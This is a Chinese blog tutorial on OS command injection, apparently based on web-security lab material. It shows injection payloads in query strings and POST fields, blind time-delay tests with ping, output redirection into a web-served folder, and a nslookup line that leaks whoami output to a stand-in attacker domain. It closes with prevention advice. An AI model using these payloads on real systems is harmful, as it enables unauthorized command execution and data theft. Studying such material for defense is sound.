命令注入初探
命令注入
网站中的有回显命令注入
首先网站中有类似与sql注入时的参数查询,在进行网站加载时,抓取数据包,并通过修改数据包中的参数测试是否含有命令注入,如,点击某个地方会显示答案,也就是有显示,抓取这个数据包进行分析。看是否含有参数,如查询的是某个id为1的东西的价格,价格显示在屏幕上,就可以测试
常用的命令注入的符号
|、||、&&、&、;
等,
参数中直接插入注入语句
如: ?id=1&qq=111 ||whoami 看是否有显示就可以判断了
网站无回显的盲命令注入(延时)
一般网站就算是价格等的查询,也不会把不相干的显示在屏幕中的,所以要测试有无命令注入,就需要盲注了,利用延时测试,就相当于sql中的延时注入,都是存在的话,网站就会加载延时的。
一般用ping好测试,指定数据包或者时间,服务器如果执行这个命令的话,就会耽误时间的。
如,下面一个post数据包,用符号隔开,因为盲注,来确定这是一个完整的语句
POST /feedback/submit HTTP/2
csrf=4coYWFp3ABNGpbDhJvAr6gFmboDX2ych&name=dsd&email=ada%40d.com||ping+-c+10+127.0.0.1||&subject=dijia&message=whosdads
页面就会大概延时10秒再加载
为什么邮箱这种有呢,因为有的是通过操作系统的原因,需要执行相关的命令。
带输出重定向的盲操作系统命令注入
网站中存在包含一个盲注入漏洞。
应用程序执行包含用户提供的详细信息的 shell 命令。响应中不返回命令的输出。但是,您可以使用输出重定向来捕获命令的输出。在以下位置有一个可写文件夹:
/var/www/images/
应用程序从此位置提供产品目录的图像。您可以将注入命令的输出重定向到此文件夹中的文件,然后使用图像加载 URL 检索文件的内容。
这个前提就是图片的加载,是要有参数可控制的,也就是图片有请求
如: ?file=111.jpg 这种,那么就可以尝试修改这个参数,来访问我们重定向的文件了。
这里最好是还有路径遍历的漏洞,那么肯定就可以了,或者该路径下可以执行其他格式的文件,如果只能打开图片的话,即使可以写入到这个文件夹下,也是没有任何作用
下面是post数据包
POST /feedback/submit HTTP/2
csrf=4coYWFp3ABNGpbDhJvAr6gFmboDX2ych&name=dsd&email=ada%40d.com||whoami+>/var/www/images/1.txt||&subject=dijia&message=whosdads
一般的网站搭建,如果是linux操作系统之类的,一般都会把目录放在/var/www/ ,而下面都是网站路径,后面的就不好猜了,如果是目录型网站,就可以进行网站目录扫描
使用带外 (OAST) 技术利用盲目操作系统命令注入
您可以使用注入的命令,该命令将使用 OAST技术触发与您控制的系统的带外网络交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
此有效负载使用该命令对指定域进行 DNS 查找。攻击者可以监视查找是否发生,以确认命令是否已成功注入。
这里的注入和上面一样,只是把这个结果通过外带的方式,传输给了这个要被解析的域名,这个是burp中的自带子域
带外通道提供了一种简单的方法来泄露注入命令的输出:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
这会导致 DNS 查找攻击者的域,其中包含以下命令的结果:whoami
wwwuser.kgji2ohoyw.web-attacker.com
有用的命令
识别操作系统命令注入漏洞后,执行一些初始命令以获取有关系统的信息非常有用。以下是一些在 Linux 和 Windows 平台上有用的命令的摘要:
命令目的 | Linux操作系统 | 窗户 |
---|---|---|
当前用户的名称 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接 | netstat -an | netstat -an |
正在运行的进程 | ps -ef | tasklist |
注入操作系统命令的方法
您可以使用多个 shell 元字符来执行操作系统命令注入攻击。
许多字符用作命令分隔符,允许将命令链接在一起。以下命令分隔符适用于基于 Windows 和 Unix 的系统:
&
&&
|
||
以下命令分隔符仅适用于基于 Unix 的系统:
;
- 换行符(或
0x0a``\n
)
在基于 Unix 的系统上,还可以使用反引号或美元字符在原始命令中执行注入的命令:
`injected 命令`
$(
injected 命令)
不同的 shell 元字符具有细微不同的行为,这些行为可能会改变它们在某些情况下是否有效。这可能会影响它们是否允许在带内检索命令输出,或者仅对盲目利用有用。
有时,您控制的输入会显示在原始命令的引号内。在这种情况下,您需要先终止引用的上下文(使用 或),然后再使用合适的 shell 元字符注入新命令。"``'
如何防止操作系统命令注入攻击
防止操作系统命令注入漏洞的最有效方法是永远不要从应用层代码中调用操作系统命令。在几乎所有情况下,都有不同的方法可以使用更安全的平台 API 实现所需的功能。
如果必须使用用户提供的输入调用操作系统命令,则必须执行强输入验证。有效验证的一些示例包括:
- 根据允许值的白名单进行验证。
- 验证输入是否为数字。
- 验证输入是否仅包含字母数字字符,不包含其他语法或空格。
切勿尝试通过转义 shell 元字符来清理输入。在实践中,这太容易出错,并且容易被熟练的攻击者绕过。
本文来自博客园,作者:whitehe,转载请注明原文链接:https://www.cnblogs.com/whitehe/p/18578430
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 提示词工程——AI应用必不可少的技术
· 地球OL攻略 —— 某应届生求职总结
· 字符编码:从基础到乱码解决
· SpringCloud带你走进微服务的世界